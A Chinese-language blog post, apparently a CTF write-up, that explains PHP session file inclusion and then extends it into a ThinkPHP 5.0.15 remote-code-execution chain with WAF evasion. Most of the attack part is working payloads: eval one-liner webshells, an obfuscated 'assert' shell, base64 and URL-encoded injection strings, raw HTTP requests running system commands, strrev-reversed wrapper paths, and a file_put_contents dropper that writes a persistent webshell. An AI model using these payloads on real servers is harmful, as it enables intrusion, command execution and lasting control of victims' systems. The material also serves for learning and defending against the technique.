前言
在某次偶然打CTF时,遇到Session文件包含,但打了个一塌糊涂。借此来学习一下,更想知道在实战中会不会出现该漏洞。
session 基础知识
在看题目之前,先看一下session的基础知识点。
- 存储
可通过phpinfo查看session.save_path的值,即存储位置。
这里用的是phpstudy,常见的存储目录如下
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/xxx/tmp/sess_PHPSESSID
/xxxx/tmp/sessions/sess_PHPSESSID
- 命名
那这个文件是怎么命名的呢?
文件名格式为sess_[phpsessid]
。而phpsessid来源于请求的cookie字段。
- session处理
php在处理session的时候,主要是session.serialize_handler的配置。
session.serialize_handler = php
默认也是以这种方式处理的。
如:
<?php
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>
POST传入username=cseroad
image.png可以看到只对用户名的内容cseroad进行了序列化存储,即s:7:"cseroad"
没有对变量名做任何处理,即username。
两者以|
分割,并以;
结尾。
还有一种处理方式。即session.serialize_handler=php_serialize
,这种方式在php 5.5.4 之后被启用。可以在php.ini或者代码中进行设置。
如
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>
image.png
a:1表示$_SESSION数组中有1个元素,花括号里面的内容即为传入POST参数经过序列化后的值。可以看到对整个session信息包括变量名、变量值都进行了序列化处理,可以看作是服务器对用户会话信息的完全序列化存储。
还有一种处理方式是session.serialize_handler=php_binary
直接抄用一实例
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_POST['username'];
?>
序列化的结果为:
#sessionsessionsessionsessionsessions:7:"cseroad";
#
为键名长度对应ASCII的值,35位长度对应的ASCII值为#,最后一位s指的是字符串类型;
sessionsessionsessionsessionsessions
为键名;
s:7:"cseroad";
为传入POST参数经过序列化后的值。
还需要注意的一点的是以上代码都执行了session_start()
,与此对应的配置项为session.auto_start
,即当session.auto_start为1时,php就会自动初始化Session,不需要再配置session_start()。
session文件包含
基于以上基础,我们看一个文件包含的demo。
<?php
session_start();
error_reporting(0);
if (isset($_POST['username'])) {
$_SESSION['username'] = $_POST['username'];
}
if (isset($_GET['file'])) {
include($_GET['file']);
}
?>
将username赋值为一句话木马。
image.png再利用file参数存在的文件包含漏洞包含该sessionid文件。 并执行系统命令。
image.png这是非常理想的漏洞条件,实际中代码中会对用户的会话信息做一定的处理后才进行存储。
- 如对用户session信息进行编码或加密
- 如代码没有session_start()进行初始化操作,服务器也就无法生成session文件
session Base64Encode
比如这次CTF遇到的这道题目:
<?php
session_start();
error_reporting(0);
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<title></title>
<meta name="keywords" content="" />
<meta name="description" content="" />
<form action="ctf.php" method="post">
名字: <input type="text" name="name">
<input type="submit" value="提交">
</form>
<?php
if (isset($_POST['name'])) {
$_SESSION['name'] = base64_encode($_POST['name']);
}
if (!empty($_SESSION['name'])) {
echo "<div class='res'><h3>success!<br><br>name:".base64_decode($_SESSION['name']);
}
if (isset($_GET['file'])) {
include($_GET['file']);
}
?>
明显看到session存储的name值经过了base64的编码。
此时我们再次尝试传入恶意代码时,文件包含也就无法利用了。
既然base64编码进去,那我们解码再包含不就可以了。php://filter
这时候就可以用上了。
file=php://filter/convert.base64-decode/resource=../tmp/tmp/sess_12d9k7c564prh3kvgbki673sc2
image.png
但是结果并没有执行。如果看一下报错信息,会发现是base64解码时出现了错误。
这里就涉及到了base64解码的原理。
在base64编码时,每4个字节一组组成一个24位的数据流,解码为3个字节。即4个字节每6组解码为3个字节每8组。如果遇到不属于base64编码表里的字符,会跳过这些字符,将合法的字符拼接后解码
而sessionid的内容为:name|s:length(str):"base64_encode";
那么这里面排除不在base64其中的字符,如:|
、:
,:
,再固定必须的字符长度。只需要让name|s:length(str):"base64_encode
这一部分可以正常解码,也就是这部分数据长度需要满足4的整数倍。计算一下,最好name|s:length(str):"base64_encode
的长度为12。而name和s就有5个长度,str字符串程度最好是三位数,凑够偶数。这样就有8个字符长度。再在base64_encode取4个字符即可。
故payload如下:
name=qdwqdwqwqewssdqeqrcetmqftmqfaxtamqwqftmqm<?php eval($_POST['cseroad']);?>
image.png
再次文件包含
POST /ctf.php?file=php://filter/convert.base64-decode/resource=../tmp/tmp/sess_111111111111 HTTP/1.1
Host: 10.211.55.31
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
cseroad=system('whoami');
image.png
No session_start()
当一个网站存在文件包含漏洞,但是并没有用户会话。即代码层未输入session_start()
。
可借助Session Upload Progress,因为session.upload_progress.name 是用户自定义的,POST提交PHP_SESSION_UPLOAD_PROGRESS字段,只要上传包里带上这个键,PHP就会自动启用Session。同时在Cookie中设置PHPSESSID的值。这样,请求的文件内容和命名都可控。
当文件上传结束后,php会立即清空对应session文件中的内容,这会导致我们包含的很可能只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用。
编辑一个上传的数据包。
<!doctype html>
<html>
<body>
<form action="http://10.211.55.31/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
并抓取该数据包,自定义修改cookie和设置PHP_SESSION_UPLOAD_PROGRESS
的值。
同时构造文件包含的数据包,来包含自定义的sessionid。
image.png利用条件竞争,先intruder上传的数据包,再intruder包含的数据包。
image.png同时根目录生成了a.php。
image.png这样看来,利用这个思路文件包含也可以getshell。
拓展
在某些时候session的文件包含同样具有实战意义,比如thinkphp rce命令在受到WAF防护的情况下,利用session文件包含就是一个不错的思路。
思路来源于 https://xz.aliyun.com/t/6106
在本地上采用thinkphp 5.0.15版本复现该漏洞,并重点放在session文件包含上。
该rce漏洞是因为控制_method参数调用了任意的Request类的任意方法。
payload如下:
_method=__construct&method=get&filter[]=system&get[]=whoami
当存在WAF的时候,利用session文件包含或许是绕过WAF的一种方式。修改payload为
_method=__construct&method=get&filter[]=think\Session::set&get[]=<?php%20echo(`whoami`)?>
这样payload就写进了sess_id文件。
image.png再调用include包含session
_method=__construct&method=get&filter[]=think\__include_file&get[]=..\..\..\tmp\tmp\sess_111111111&
image.png
当WAF拦截上面某些关键字的时候,还可以尝试base64编码。
比如下面这个一句话木马
<?php @$c=str_rot13('nffreg');$c($_REQUEST['cseroad']);?>
base64编码后为
PD9waHAgQCRjPXN0cl9yb3QxMygnbmZmcmVnJyk7JGMoJF9SRVFVRVNUWydjc2Vyb2FkJ10pOz8+
我们知道base64解码时容易无法解码,需要满足长度为4的倍数情况下才可以正常解码。所以think|a:5:{s:80:"xx
该字符串之前需要添加两个字符。满足4的倍数,正好长度为12。
payload为:
_method=__construct&method=get&filter[]=think\Session::set&get[]=ab%50%44%39%77%61%48%41%67%51%43%52%6a%50%58%4e%30%63%6c%39%79%62%33%51%78%4d%79%67%6e%62%6d%5a%6d%63%6d%56%6e%4a%79%6b%37%4a%47%4d%6f%4a%46%39%53%52%56%46%56%52%56%4e%55%57%79%64%6a%63%32%56%79%62%32%46%6b%4a%31%30%70%4f%7a%38%2b
再次利用php://filter
包含。
_method=__construct&method=get&filter[]=think\__include_file&get[]=php://filter/convert.base64-decode/resource=..\..\..\tmp\tmp\sess_333333&
image.png
这时候发挥的空间就大多了。
可以再增加一层base64编码来绕过WAF
<?php @$c=str_rot13('nffreg');$c(base64_decode($_REQUEST['cseroad']));?>
这样在命令执行的时候传入base64编码之后的值即可。
image.png还可以进一步使用strrev()
函数反转伪协议字符串。payload 为
_method=__construct&method=get&&filter[]=strrev&filter[]=think\__include_file&get[]=333333_sses\pmt\pmt\..\..\..=ecruoser/edoced-46esab.trevnoc/retlif//:php&
也可以使用file_put_contents()
函数,将一句话木马写进文件
<?php file_put_contents('123.php',base64_decode("PD9waHAgQCRjPXN0cl9yb3QxMygnbmZmcmVnJyk7JGMoJF9SRVFVRVNUWydjc2Vyb2FkJ10pOz8+"));?>
这时候base64编码之后
PD9waHAgZmlsZV9wdXRfY29udGVudHMoJzEyMy5waHAnLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnUUNSalBYTjBjbDl5YjNReE15Z25ibVptY21Wbkp5azdKR01vSkY5U1JWRlZSVk5VV3lkamMyVnliMkZrSjEwcE96OCsiKSk7Pz4=
这个长度已经是三位数了,计算序列化后base64编码前的字符串长度为11位,那么只需要补齐一位就可以了。
image.png所以这时候的payload为
_method=__construct&method=get&filter[]=think\Session::set&get[]=aPD9waHAgZmlsZV9wdXRfY29udGVudHMoJzEyMy5waHAnLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnUUNSalBYTjBjbDl5YjNReE15Z25ibVptY21Wbkp5azdKR01vSkY5U1JWRlZSVk5VV3lkamMyVnliMkZrSjEwcE96OCsiKSk7Pz4%2b
再次包含之后,123.php文件就成功写入了public目录下。
image.png访问webshell正常执行。
image.png总结
通过一道CTF题目熟悉了session 文件包含的原理,也扩展到实战绕过WAF的一个利用场景。不得不说 https://www.anquanke.com/post/id/201177#h2-8 这篇文章写得太棒了。
参考资料
https://www.anquanke.com/post/id/201177#h2-8
https://xz.aliyun.com/t/10534
网友评论